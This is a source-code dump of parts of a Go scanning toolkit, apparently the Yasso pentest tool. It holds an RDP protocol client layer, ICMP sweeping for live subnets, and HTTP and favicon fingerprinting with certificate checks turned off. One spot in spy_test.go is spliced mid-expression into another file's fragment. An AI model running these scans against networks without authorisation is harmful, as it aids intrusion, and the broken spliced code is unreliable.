151 | func (t *TPKT) SetFastPathListener(f core.FastPathListener) {
152 | t.fastPathListener = f
153 | }
154 |
155 | func (t *TPKT) SendFastPath(secFlag byte, data []byte) (n int, err error) {
156 | buff := &bytes.Buffer{}
157 | core.WriteUInt8(FASTPATH_ACTION_FASTPATH|((secFlag&0x3)<<6), buff)
158 | core.WriteUInt16BE(uint16(len(data)+3)|0x8000, buff)
159 | buff.Write(data)
160 | glog.Debug("TPTK SendFastPath", hex.EncodeToString(buff.Bytes()))
161 | return t.Conn.Write(buff.Bytes())
162 | }
163 |
164 | func (t *TPKT) recvHeader(s []byte, err error) {
165 | glog.Debug("tpkt recvHeader", hex.EncodeToString(s), err)
166 | if err != nil {
167 | t.Emit("error", err)
168 | return
169 | }
170 | r := bytes.NewReader(s)
171 | version, _ := core.ReadUInt8(r)
172 | if version == FASTPATH_ACTION_X224 {
173 | glog.Debug("tptk recvHeader FASTPATH_ACTION_X224, wait for recvExtendedHeader")
174 | core.StartReadBytes(2, t.Conn, t.recvExtendedHeader)
175 | } else {
176 | t.secFlag = (version >> 6) & 0x3
177 | length, _ := core.ReadUInt8(r)
178 | t.lastShortLength = int(length)
179 | if t.lastShortLength&0x80 != 0 {
180 | core.StartReadBytes(1, t.Conn, t.recvExtendedFastPathHeader)
181 | } else {
182 | core.StartReadBytes(t.lastShortLength-2, t.Conn, t.recvFastPath)
183 | }
184 | }
185 | }
186 |
187 | func (t *TPKT) recvExtendedHeader(s []byte, err error) {
188 | glog.Debug("tpkt recvExtendedHeader", hex.EncodeToString(s), err)
189 | if err != nil {
190 | return
191 | }
192 | r := bytes.NewReader(s)
193 | size, _ := core.ReadUint16BE(r)
194 | glog.Debug("tpkt wait recvData:", size)
195 | core.StartReadBytes(int(size-4), t.Conn, t.recvData)
196 | }
197 |
198 | func (t *TPKT) recvData(s []byte, err error) {
199 | glog.Debug("tpkt recvData", hex.EncodeToString(s), err)
200 | if err != nil {
201 | return
202 | }
203 | t.Emit("data", s)
204 | core.StartReadBytes(2, t.Conn, t.recvHeader)
205 | }
206 |
207 | func (t *TPKT) recvExtendedFastPathHeader(s []byte, err error) {
208 | glog.Debug("tpkt recvExtendedFastPathHeader", hex.EncodeToString(s))
209 | r := bytes.NewReader(s)
210 | rightPart, err := core.ReadUInt8(r)
211 | if err != nil {
212 | glog.Error("TPTK recvExtendedFastPathHeader", err)
213 | return
214 | }
215 |
216 | leftPart := t.lastShortLength & ^0x80
217 | packetSize := (leftPart << 8) + int(rightPart)
218 | core.StartReadBytes(packetSize-3, t.Conn, t.recvFastPath)
219 | }
220 |
221 | func (t *TPKT) recvFastPath(s []byte, err error) {
222 | glog.Debug("tpkt recvFastPath")
223 | if err != nil {
224 | return
225 | }
226 |
227 | t.fastPathListener.RecvFastPath(t.secFlag, s)
228 | core.StartReadBytes(2, t.Conn, t.recvHeader)
229 | }
230 |
--------------------------------------------------------------------------------
/pkg/grdp/protocol/x224/x224.go:
--------------------------------------------------------------------------------
1 | package x224
2 |
3 | import (
4 | "bytes"
5 | "encoding/hex"
6 | "errors"
7 | "fmt"
8 |
9 | "Yasso/pkg/grdp/glog"
10 |
11 | "Yasso/pkg/grdp/core"
12 | "Yasso/pkg/grdp/emission"
13 | "Yasso/pkg/grdp/protocol/tpkt"
14 | "github.com/lunixbochs/struc"
15 | )
16 |
17 | // take idea from https://github.com/Madnikulin50/gordp
18 |
19 | /**
20 | * Message type present in X224 packet header
21 | */
22 | type MessageType byte
23 |
24 | const (
25 | TPDU_CONNECTION_REQUEST MessageType = 0xE0
26 | TPDU_CONNECTION_CONFIRM = 0xD0
27 | TPDU_DISCONNECT_REQUEST = 0x80
28 | TPDU_DATA = 0xF0
29 | TPDU_ERROR = 0x70
30 | )
31 |
32 | /**
33 | * Type of negotiation present in negotiation packet
34 | */
35 | type NegotiationType byte
36 |
37 | const (
38 | TYPE_RDP_NEG_REQ NegotiationType = 0x01
39 | TYPE_RDP_NEG_RSP = 0x02
40 | TYPE_RDP_NEG_FAILURE = 0x03
41 | )
42 |
43 | /**
44 | * Protocols available for x224 layer
45 | */
46 |
47 | const (
48 | PROTOCOL_RDP uint32 = 0x00000000
49 | PROTOCOL_SSL = 0x00000001
50 | PROTOCOL_HYBRID = 0x00000002
51 | PROTOCOL_HYBRID_EX = 0x00000008
52 | )
53 |
54 | /**
55 | * Use to negotiate security layer of RDP stack
56 | * In node-rdpjs only ssl is available
57 | * @param opt {object} component type options
58 | * @see request -> http://msdn.microsoft.com/en-us/library/cc240500.aspx
59 | * @see response -> http://msdn.microsoft.com/en-us/library/cc240506.aspx
60 | * @see failure ->http://msdn.microsoft.com/en-us/library/cc240507.aspx
61 | */
62 | type Negotiation struct {
63 | Type NegotiationType `struc:"byte"`
64 | Flag uint8 `struc:"uint8"`
65 | Length uint16 `struc:"little"`
66 | Result uint32 `struc:"little"`
67 | }
68 |
69 | func NewNegotiation() *Negotiation {
70 | return &Negotiation{0, 0, 0x0008 /*constant*/, PROTOCOL_RDP}
71 | }
72 |
73 | /**
74 | * X224 client connection request
75 | * @param opt {object} component type options
76 | * @see http://msdn.microsoft.com/en-us/library/cc240470.aspx
77 | */
78 | type ClientConnectionRequestPDU struct {
79 | Len uint8
80 | Code MessageType
81 | Padding1 uint16
82 | Padding2 uint16
83 | Padding3 uint8
84 | Cookie []byte
85 | ProtocolNeg *Negotiation
86 | }
87 |
88 | func NewClientConnectionRequestPDU(coockie []byte) *ClientConnectionRequestPDU {
89 | x := ClientConnectionRequestPDU{0, TPDU_CONNECTION_REQUEST, 0, 0, 0,
90 | coockie, NewNegotiation()}
91 | x.Len = uint8(len(x.Serialize()) - 1)
92 | return &x
93 | }
94 |
95 | func (x *ClientConnectionRequestPDU) Serialize() []byte {
96 | buff := &bytes.Buffer{}
97 | core.WriteUInt8(x.Len, buff)
98 | core.WriteUInt8(uint8(x.Code), buff)
99 | core.WriteUInt16BE(x.Padding1, buff)
100 | core.WriteUInt16BE(x.Padding2, buff)
101 | core.WriteUInt8(x.Padding3, buff)
102 |
103 | buff.Write(x.Cookie)
104 | if x.Len > 14 {
105 | core.WriteUInt16LE(0x0A0D, buff)
106 | }
107 | struc.Pack(buff, x.ProtocolNeg)
108 | return buff.Bytes()
109 | }
110 |
111 | /**
112 | * X224 Server connection confirm
113 | * @param opt {object} component type options
114 | * @see http://msdn.microsoft.com/en-us/library/cc240506.aspx
115 | */
116 | type ServerConnectionConfirm struct {
117 | Len uint8
118 | Code MessageType
119 | Padding1 uint16
120 | Padding2 uint16
121 | Padding3 uint8
122 | ProtocolNeg *Negotiation
123 | }
124 |
125 | /**
126 | * Header of each data message from x224 layer
127 | * @returns {type.Component}
128 | */
129 | type DataHeader struct {
130 | Header uint8 `struc:"little"`
131 | MessageType MessageType `struc:"uint8"`
132 | Separator uint8 `struc:"little"`
133 | }
134 |
135 | func NewDataHeader() *DataHeader {
136 | return &DataHeader{2, TPDU_DATA /* constant */, 0x80 /*constant*/}
137 | }
138 |
139 | /**
140 | * Common X224 Automata
141 | * @param presentation {Layer} presentation layer
142 | */
143 | type X224 struct {
144 | emission.Emitter
145 | transport core.Transport
146 | requestedProtocol uint32
147 | selectedProtocol uint32
148 | dataHeader *DataHeader
149 | }
150 |
151 | func New(t core.Transport) *X224 {
152 | x := &X224{
153 | *emission.NewEmitter(),
154 | t,
155 | PROTOCOL_RDP | PROTOCOL_SSL | PROTOCOL_HYBRID,
156 | PROTOCOL_SSL,
157 | NewDataHeader(),
158 | }
159 |
160 | t.On("close", func() {
161 | x.Emit("close")
162 | }).On("error", func(err error) {
163 | x.Emit("error", err)
164 | })
165 |
166 | return x
167 | }
168 |
169 | func (x *X224) Read(b []byte) (n int, err error) {
170 | return x.transport.Read(b)
171 | }
172 |
173 | func (x *X224) Write(b []byte) (n int, err error) {
174 | buff := &bytes.Buffer{}
175 | err = struc.Pack(buff, x.dataHeader)
176 | if err != nil {
177 | return 0, err
178 | }
179 | buff.Write(b)
180 |
181 | glog.Debug("x224 write:", hex.EncodeToString(buff.Bytes()))
182 | return x.transport.Write(buff.Bytes())
183 | }
184 |
185 | func (x *X224) Close() error {
186 | return x.transport.Close()
187 | }
188 |
189 | func (x *X224) SetRequestedProtocol(p uint32) {
190 | x.requestedProtocol = p
191 | }
192 |
193 | func (x *X224) Connect() error {
194 | if x.transport == nil {
195 | return errors.New("no transport")
196 | }
197 | message := NewClientConnectionRequestPDU(make([]byte, 0))
198 | message.ProtocolNeg.Type = TYPE_RDP_NEG_REQ
199 | message.ProtocolNeg.Result = uint32(x.requestedProtocol)
200 |
201 | glog.Debug("x224 sendConnectionRequest", hex.EncodeToString(message.Serialize()))
202 | _, err := x.transport.Write(message.Serialize())
203 | x.transport.Once("data", x.recvConnectionConfirm)
204 | return err
205 | }
206 |
207 | func (x *X224) recvConnectionConfirm(s []byte) {
208 | glog.Debug("x224 recvConnectionConfirm ", hex.EncodeToString(s))
209 | message := &ServerConnectionConfirm{}
210 | if err := struc.Unpack(bytes.NewReader(s), message); err != nil {
211 | glog.Error("ReadServerConnectionConfirm err", err)
212 | return
213 | }
214 | glog.Debugf("message: %+v", *message.ProtocolNeg)
215 | if message.ProtocolNeg.Type == TYPE_RDP_NEG_FAILURE {
216 | glog.Error(fmt.Sprintf("NODE_RDP_PROTOCOL_X224_NEG_FAILURE with code: %d,see https://msdn.microsoft.com/en-us/library/cc240507.aspx",
217 | message.ProtocolNeg.Result))
218 | //only use Standard RDP Security mechanisms
219 | if message.ProtocolNeg.Result == 2 {
220 | glog.Info("Only use Standard RDP Security mechanisms, Reconnect with Standard RDP")
221 | x.Emit("error", errors.New("PROTOCOL_RDP"))
222 | }
223 | x.Close()
224 | return
225 | }
226 |
227 | if message.ProtocolNeg.Type == TYPE_RDP_NEG_RSP {
228 | glog.Info("TYPE_RDP_NEG_RSP")
229 | x.selectedProtocol = message.ProtocolNeg.Result
230 | }
231 |
232 | if x.selectedProtocol == PROTOCOL_HYBRID_EX {
233 | glog.Error("NODE_RDP_PROTOCOL_HYBRID_EX_NOT_SUPPORTED")
234 | return
235 | }
236 |
237 | x.transport.On("data", x.recvData)
238 |
239 | if x.selectedProtocol == PROTOCOL_RDP {
240 | glog.Info("*** RDP security selected ***")
241 | x.Emit("connect", x.selectedProtocol)
242 | return
243 | }
244 |
245 | if x.selectedProtocol == PROTOCOL_SSL {
246 | glog.Info("*** SSL security selected ***")
247 | err := x.transport.(*tpkt.TPKT).StartTLS()
248 | if err != nil {
249 | glog.Error("start tls failed:", err)
250 | return
251 | }
252 | x.Emit("connect", x.selectedProtocol)
253 | return
254 | }
255 |
256 | if x.selectedProtocol == PROTOCOL_HYBRID {
257 | glog.Info("*** NLA Security selected ***")
258 | err := x.transport.(*tpkt.TPKT).StartNLA()
259 | if err != nil {
260 | glog.Error("start NLA failed:", err)
261 | return
262 | }
263 | x.Emit("connect", x.selectedProtocol)
264 | return
265 | }
266 | }
267 |
268 | func (x *X224) recvData(s []byte) {
269 | glog.Debug("x224 recvData", hex.EncodeToString(s), "emit data")
270 | // x224 header takes 3 bytes
271 | x.Emit("data", s[3:])
272 | }
273 |
--------------------------------------------------------------------------------
/pkg/netspy/example/ip_test.go:
--------------------------------------------------------------------------------
1 | package example
2 |
3 | import (
4 | "fmt"
5 | "net"
6 | "strings"
7 | "testing"
8 | )
9 |
10 | func Test(t *testing.T) {
11 | inters, err := net.Interfaces()
12 | if err != nil {
13 | panic(err)
14 | }
15 | for _, inter := range inters {
16 | // 判断网卡是否开启,过滤本地环回接口
17 | if inter.Flags&net.FlagUp != 0 && !strings.HasPrefix(inter.Name, "lo") {
18 | // 获取网卡下所有的地址
19 | addrs, err := inter.Addrs()
20 | if err != nil {
21 | continue
22 | }
23 | for _, addr := range addrs {
24 | if ipnet, ok := addr.(*net.IPNet); ok && !ipnet.IP.IsLoopback() {
25 | //判断是否存在IPV4 IP 如果没有过滤
26 | if strings.ContainsAny(ipnet.String(), ":") {
27 | continue
28 | } else {
29 | //fmt.Println(ipnet)
30 | minIp, maxIp := getCidrIpRange(ipnet.String())
31 | fmt.Println("CIDR最小IP:", minIp, " CIDR最大IP:", maxIp)
32 | mask, _ := ipnet.Mask.Size()
33 | fmt.Println("掩码:", getCidrIpMask(mask))
34 | fmt.Println("主机数量", getCidrHostNum(mask))
35 | fmt.Println("==============================")
36 | }
37 | }
38 | }
39 | }
40 | }
41 | return
42 | }
43 |
--------------------------------------------------------------------------------
/pkg/netspy/example/spy_test.go:
--------------------------------------------------------------------------------
1 | package example
2 |
3 | import (
4 | "fmt"
5 | "strconv"
6 | "strings"
7 | "testing"
8 | )
9 |
10 | func Test1(t *testing.T) {
11 | minIp, maxIp := getCidrIpRange("192.168.248.1/22")
12 | fmt.Println("CIDR最小IP:", minIp, " CIDR最大IP:", maxIp)
13 | fmt.Println("掩码:", getCidrIpMask(24))
14 | fmt.Println("主机数量", getCidrHostNum(24))
15 | }
16 | func getCidrIpRange(cidr string) (string, string) {
17 | ip := strings.Split(cidr, "/")[0]
18 | ipSegs := strings.Split(ip, ".")
19 | maskLen, _ := strconv.Atoi(strings.Split(cidr, "/")[1])
20 | seg3MinIp, seg3MaxIp := getIpSeg3Range(ipSegs, maskLen)
21 | seg4MinIp, seg4MaxIp := getIpSeg4Range(ipSegs, maskLen)
22 | ipPrefix := ipSegs[0] + "." + ipSegs[1] + "."
23 |
24 | return ipPrefix + strconv.Itoa(seg3MinIp) + "." + strconv.Itoa(seg4MinIp),
25 | ipPrefix + strconv.Itoa(seg3MaxIp) + "." + strconv.Itoa(seg4MaxIp)
26 | }
27 |
28 | //计算得到CIDR地址范围内可拥有的主机数量
29 | func getCidrHostNum(maskLen int) uint {
30 | cidrIpNum := uint(0)
31 | var i uint = uint(32 - maskLen - 1)
32 | for ; i >= 1; i-- {
33 | cidrIpNum += 1 << i
34 | }
35 | return cidrIpNum
36 | }
37 |
38 | //获取Cidr的掩码
39 | func getCidrIpMask(maskLen int) string {
40 | // ^uint32(0)二进制为32个比特1,通过向左位移,得到CIDR掩码的二进制
41 | cidrMask := ^uint32(0) << uint(32-maskLen)
42 | fmt.Println(fmt.Sprintf("%b \n", cidrMask))
43 | //计算CIDR掩码的四个片段,将想要得到的片段移动到内存最低8位后,将其强转为8位整型,从而得到
44 | cidrMaskSeg1 := uint8(cidrMask >> 24)
45 | cidrMaskSeg2 := uint8(cidrMask >> 16)
46 | cidrMaskSeg3 := uint8(cidrMask >> 8)
47 | cidrMaskSeg4 := uint8(cidrMask & uint32(255))
48 |
49 | return fmt.Sprint(cidrMaskSeg1) + "." + fmt.Sprint(cidrMaskSeg2) + "." + fmt.Sprint(cidrMaskSeg3) + "." + fmt.Sprint(cidrMaskSeg4)
50 | }
51 |
52 | //得到第三段IP的区间(第一片段.第二片段.第三片段.第四片段)
53 | func getIpSeg3Range(ipSegs []string, maskLen int) (int, int) {
54 | if maskLen > 24 {
55 | segIp, _ := strconv.Atoi(ipSegs[2])
56 | return segIp, segIp
57 | }
58 | ipSeg, _ := strconv.Atoi(ipSegs[2])
59 | return getIpSegRange(uint8(ipSeg), uint8(24-maskLen))
60 | }
61 |
62 | //得到第四段IP的区间(第一片段.第二片段.第三片段.第四片段)
63 | func getIpSeg4Range(ipSegs []string, maskLen int) (int, int) {
64 | ipSeg, _ := strconv.Atoi(ipSegs[3])
65 | segMinIp, segMaxIp := getIpSegRange(uint8(ipSeg), uint8(32-maskLen))
66 | return segMinIp + 1, segMaxIp
67 | }
68 |
69 | //根据用户输入的基础IP地址和CIDR掩码计算一个IP片段的区间
70 | func getIpSegRange(userSegIp, offset uint8) (int, int) {
71 | var ipSegMax uint8 = 255
72 | netSegIp := ipSegMax << offset
73 | segMinIp := netSegIp & userSegIp
74 | segMaxIp := userSegIp&(255< 0 {
25 | return true
26 | }
27 | return false
28 | }
29 |
--------------------------------------------------------------------------------
/pkg/netspy/spy/spy.go:
--------------------------------------------------------------------------------
1 | package spy
2 |
3 | import (
4 | "Yasso/core/logger"
5 | "Yasso/pkg/netspy/icmp"
6 | "fmt"
7 | "sync"
8 | "sync/atomic"
9 | )
10 |
11 | func GoSpy(ips [][]string, check func(ip string) bool, thread int) []string { // 共有
12 | var online []string
13 | var wg sync.WaitGroup
14 | var ipc = make(chan []string, 10000)
15 | var onc = make(chan string, 1000)
16 | var count int32
17 | if ips == nil {
18 | return online
19 | }
20 | go func() {
21 | for _, ipg := range ips {
22 | ipc <- ipg
23 | }
24 | defer close(ipc)
25 | }()
26 | for i := 0; i < thread; i++ {
27 | wg.Add(1)
28 | go func(ipc chan []string) {
29 | for ipg := range ipc {
30 | for _, ip := range ipg {
31 | if icmp.Check(ip) {
32 | online = append(online, ip) // 此时已经可以证明有一个网段存活了
33 | logger.Info(fmt.Sprintf("%s/24 network segment to survive", ip))
34 | onc <- fmt.Sprintf("%s/24\n", ip)
35 | break // 存在一个主机则证明存活
36 | } else {
37 | // 不存活
38 | continue
39 | }
40 | }
41 | atomic.AddInt32(&count, int32(len(ipg)))
42 | }
43 | defer wg.Done()
44 | }(ipc)
45 | }
46 | wg.Wait()
47 | return online
48 | }
49 |
--------------------------------------------------------------------------------
/pkg/report/report.go:
--------------------------------------------------------------------------------
1 | package report
2 |
--------------------------------------------------------------------------------
/pkg/webscan/http.go:
--------------------------------------------------------------------------------
1 | package webscan
2 |
3 | import (
4 | "Yasso/config"
5 | "bytes"
6 | "crypto/md5"
7 | "crypto/tls"
8 | "fmt"
9 | "golang.org/x/text/encoding/simplifiedchinese"
10 | "io/ioutil"
11 | "net/http"
12 | "net/url"
13 | "path"
14 | "regexp"
15 | "strconv"
16 | "strings"
17 | "time"
18 | "unicode/utf8"
19 | )
20 |
21 | //TODO: dismap RespLab
22 |
23 | type RespLab struct {
24 | Url string
25 | RespBody string
26 | RespHeader string
27 | RespStatusCode string
28 | RespTitle string
29 | FaviconMd5 string
30 | }
31 |
32 | func FaviconMd5(Url string, timeout time.Duration, Path string) string {
33 | client := &http.Client{
34 | Timeout: time.Duration(timeout),
35 | Transport: &http.Transport{
36 | TLSClientConfig: &tls.Config{InsecureSkipVerify: true},
37 | },
38 | CheckRedirect: func(req *http.Request, via []*http.Request) error {
39 | return http.ErrUseLastResponse
40 | },
41 | }
42 | Url = Url + "/favicon.ico"
43 | req, err := http.NewRequest("GET", Url, nil)
44 | if err != nil {
45 | return ""
46 | }
47 | for key, value := range config.DefaultHeader {
48 | req.Header.Set(key, value)
49 | }
50 | //req.Header.Set("Accept-Language", "zh,zh-TW;q=0.9,en-US;q=0.8,en;q=0.7,zh-CN;q=0.6")
51 | //req.Header.Set("User-agent", "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/28.0.1468.0 Safari/537.36")
52 | //req.Header.Set("Cookie", "rememberMe=int")
53 | resp, err := client.Do(req)
54 | if err != nil {
55 | return ""
56 | }
57 | defer resp.Body.Close()
58 | body_bytes, err := ioutil.ReadAll(resp.Body)
59 | hash := md5.Sum(body_bytes)
60 | md5 := fmt.Sprintf("%x", hash)
61 | return md5
62 | }
63 |
64 | func DefaultRequests(Url string, timeout time.Duration) []RespLab {
65 |
66 | var redirect_url string
67 | var resp_title string
68 | var response_header string
69 | var response_body string
70 | var response_status_code string
71 | var res []string
72 |
73 | // 设置http请求客户端
74 | client := &http.Client{
75 | Timeout: time.Duration(timeout),
76 | Transport: &http.Transport{
77 | TLSClientConfig: &tls.Config{InsecureSkipVerify: true},
78 | },
79 | CheckRedirect: func(req *http.Request, via []*http.Request) error {
80 | return http.ErrUseLastResponse
81 | },
82 | }
83 |
84 | req, err := http.NewRequest("GET", Url, nil)
85 | if err != nil {
86 | return nil
87 | }
88 | // 设置默认请求头
89 | for key, value := range config.DefaultHeader {
90 | req.Header.Set(key, value)
91 | }
92 | // 做http请求
93 | resp, err := client.Do(req)
94 | if err != nil {
95 | return nil
96 | }
97 | defer resp.Body.Close()
98 |
99 | // 获取请求的状态马
100 | var status_code = resp.StatusCode
101 | response_status_code = strconv.Itoa(status_code)
102 |
103 | //TODO: 根据请求来拦截状态码,如果是30x则需要拦截url进行重定向
104 |
105 | if len(regexp.MustCompile("30").FindAllStringIndex(response_status_code, -1)) == 1 {
106 | // 进行重定向
107 | redirect_path := resp.Header.Get("Location") // 拦截url进行重定向请求
108 | if len(regexp.MustCompile("http").FindAllStringIndex(redirect_path, -1)) == 1 {
109 | redirect_url = redirect_path
110 | } else {
111 | redirect_url = Url + redirect_path
112 | }
113 | client = &http.Client{
114 | Timeout: time.Duration(timeout),
115 | Transport: &http.Transport{
116 | TLSClientConfig: &tls.Config{InsecureSkipVerify: true},
117 | },
118 | CheckRedirect: func(req *http.Request, via []*http.Request) error {
119 | return http.ErrUseLastResponse
120 | },
121 | }
122 | // 设置重定向请求
123 | req, err := http.NewRequest("GET", redirect_url, nil)
124 | if err != nil {
125 | return nil
126 | }
127 | for key, value := range config.DefaultHeader {
128 | req.Header.Set(key, value)
129 | }
130 | resp, err := client.Do(req)
131 | if err != nil {
132 | return nil
133 | }
134 | defer resp.Body.Close()
135 |
136 | //TODO: 解决两次的30x跳转问题
137 | var twoStatusCode = resp.StatusCode
138 | responseStatusCodeTwo := strconv.Itoa(twoStatusCode)
139 | if len(regexp.MustCompile("30").FindAllStringIndex(responseStatusCodeTwo, -1)) == 1 {
140 | redirectPath := resp.Header.Get("Location")
141 | if len(regexp.MustCompile("http").FindAllStringIndex(redirectPath, -1)) == 1 {
142 | redirect_url = redirectPath
143 | } else {
144 | redirect_url = Url + redirectPath
145 | }
146 | client = &http.Client{
147 | Timeout: time.Duration(timeout),
148 | Transport: &http.Transport{
149 | TLSClientConfig: &tls.Config{InsecureSkipVerify: true},
150 | },
151 | CheckRedirect: func(req *http.Request, via []*http.Request) error {
152 | return http.ErrUseLastResponse
153 | },
154 | }
155 | req, err := http.NewRequest("GET", redirect_url, nil)
156 | if err != nil {
157 | return nil
158 | }
159 | for key, value := range config.DefaultHeader {
160 | req.Header.Set(key, value)
161 | }
162 | resp, err := client.Do(req)
163 | if err != nil {
164 | return nil
165 | }
166 | defer resp.Body.Close()
167 | // get response body for string
168 | bodyBytes, err := ioutil.ReadAll(resp.Body)
169 | response_body = string(bodyBytes)
170 | // Solve the problem of garbled body codes with unmatched numbers
171 | if !utf8.Valid(bodyBytes) {
172 | data, _ := simplifiedchinese.GBK.NewDecoder().Bytes(bodyBytes)
173 | response_body = string(data)
174 | }
175 | // Get Response title
176 | grepTitle := regexp.MustCompile("(.*)")
177 | if len(grepTitle.FindStringSubmatch(response_body)) != 0 {
178 | resp_title = grepTitle.FindStringSubmatch(response_body)[1]
179 | } else {
180 | resp_title = "None"
181 | }
182 | for name, values := range resp.Header {
183 | for _, value := range values {
184 | res = append(res, fmt.Sprintf("%s: %s", name, value))
185 | }
186 | }
187 | for _, re := range res {
188 | response_header += re + "\n"
189 | }
190 | favicon5 := FaviconMd5(Url, timeout, "")
191 | RespData := []RespLab{
192 | {redirect_url, response_body, response_header, response_status_code, resp_title, favicon5},
193 | }
194 | return RespData
195 | }
196 | // get response body for string
197 | body_bytes, err := ioutil.ReadAll(resp.Body)
198 | response_body = string(body_bytes)
199 | // Solve the problem of garbled body codes with unmatched numbers
200 | if !utf8.Valid(body_bytes) {
201 | data, _ := simplifiedchinese.GBK.NewDecoder().Bytes(body_bytes)
202 | response_body = string(data)
203 | }
204 | // Get Response title
205 | grep_title := regexp.MustCompile("(.*)")
206 | if len(grep_title.FindStringSubmatch(response_body)) != 0 {
207 | resp_title = grep_title.FindStringSubmatch(response_body)[1]
208 | } else {
209 | resp_title = "None"
210 | }
211 | // get response header for string
212 | for name, values := range resp.Header {
213 | for _, value := range values {
214 | res = append(res, fmt.Sprintf("%s: %s", name, value))
215 | }
216 | }
217 | for _, re := range res {
218 | response_header += re + "\n"
219 | }
220 | favicon5 := FaviconMd5(Url, timeout, "")
221 | RespData := []RespLab{
222 | {redirect_url, response_body, response_header, response_status_code, resp_title, favicon5},
223 | }
224 | return RespData
225 | }
226 | // get response body for string
227 | bodyBytes, err := ioutil.ReadAll(resp.Body)
228 | response_body = string(bodyBytes)
229 | // Solve the problem of garbled body codes with unmatched numbers
230 | if !utf8.Valid(bodyBytes) {
231 | data, _ := simplifiedchinese.GBK.NewDecoder().Bytes(bodyBytes)
232 | response_body = string(data)
233 | }
234 |
235 | // Get Response title
236 | grep_title := regexp.MustCompile("(.*)")
237 | if len(grep_title.FindStringSubmatch(response_body)) != 0 {
238 | resp_title = grep_title.FindStringSubmatch(response_body)[1]
239 | } else {
240 | resp_title = "None"
241 | }
242 | // get response header for string
243 | for name, values := range resp.Header {
244 | for _, value := range values {
245 | res = append(res, fmt.Sprintf("%s: %s", name, value))
246 | }
247 | }
248 | for _, re := range res {
249 | response_header += re + "\n"
250 | }
251 | faviconmd5 := FaviconMd5(Url, timeout, "")
252 | RespData := []RespLab{
253 | {Url, response_body, response_header, response_status_code, resp_title, faviconmd5},
254 | }
255 | return RespData
256 | }
257 |
258 | func CustomRequests(Url string, timeout time.Duration, Method string, Path string, Header []string, Body string) []RespLab {
259 | var respTitle string
260 | // Splicing Custom Path
261 | u, err := url.Parse(Url)
262 | u.Path = path.Join(u.Path, Path)
263 | Url = u.String()
264 | if strings.HasSuffix(Path, "/") {
265 | Url = Url + "/"
266 | }
267 | client := &http.Client{
268 | Timeout: time.Duration(timeout),
269 | Transport: &http.Transport{
270 | TLSClientConfig: &tls.Config{InsecureSkipVerify: true},
271 | },
272 | }
273 | // Send Http requests
274 | body_byte := bytes.NewBuffer([]byte(Body))
275 | req, err := http.NewRequest(Method, Url, body_byte)
276 | if err != nil {
277 | return nil
278 | }
279 |
280 | // Set Requests Headers
281 | for _, header := range Header {
282 | grep_key := regexp.MustCompile("(.*): ")
283 | var header_key = grep_key.FindStringSubmatch(header)[1]
284 | grep_value := regexp.MustCompile(": (.*)")
285 | var header_value = grep_value.FindStringSubmatch(header)[1]
286 | req.Header.Set(header_key, header_value)
287 | }
288 | resp, err := client.Do(req)
289 | if err != nil {
290 | return nil
291 | }
292 | defer resp.Body.Close()
293 | // Get Response Body for string
294 | body_bytes, err := ioutil.ReadAll(resp.Body)
295 | var response_body = string(body_bytes)
296 | // Solve the problem of garbled body codes with unmatched numbers
297 | if !utf8.Valid(body_bytes) {
298 | data, _ := simplifiedchinese.GBK.NewDecoder().Bytes(body_bytes)
299 | response_body = string(data)
300 | }
301 | // Get Response title
302 | grep_title := regexp.MustCompile("(.*)")
303 | if len(grep_title.FindStringSubmatch(response_body)) != 0 {
304 | respTitle = grep_title.FindStringSubmatch(response_body)[1]
305 | } else {
306 | respTitle = "None"
307 | }
308 | // Get Response Header for string
309 | var res []string
310 | for name, values := range resp.Header {
311 | for _, value := range values {
312 | res = append(res, fmt.Sprintf("%s: %s", name, value))
313 | }
314 | }
315 | var response_header string
316 | for _, re := range res {
317 | response_header += re + "\n"
318 | }
319 | // get response status code
320 | var status_code = resp.StatusCode
321 | response_status_code := strconv.Itoa(status_code)
322 | RespData := []RespLab{
323 | {Url, response_body, response_header, response_status_code, respTitle, ""},
324 | }
325 | return RespData
326 | }
327 |
328 | //dismap 解析IP
329 |
330 | func ParseUrl(host string, port string) string {
331 | if port == "80" {
332 | return "http://" + host
333 | } else if port == "443" {
334 | return "https://" + host
335 | } else if len(regexp.MustCompile("443").FindAllStringIndex(port, -1)) == 1 {
336 | return "https://" + host + ":" + port
337 | } else {
338 | return "http://" + host + ":" + port
339 | }
340 | }
341 |
--------------------------------------------------------------------------------
/result.txt:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/sairson/Yasso/af9e833f02488d89ce425b503d33707d821b2aab/result.txt
--------------------------------------------------------------------------------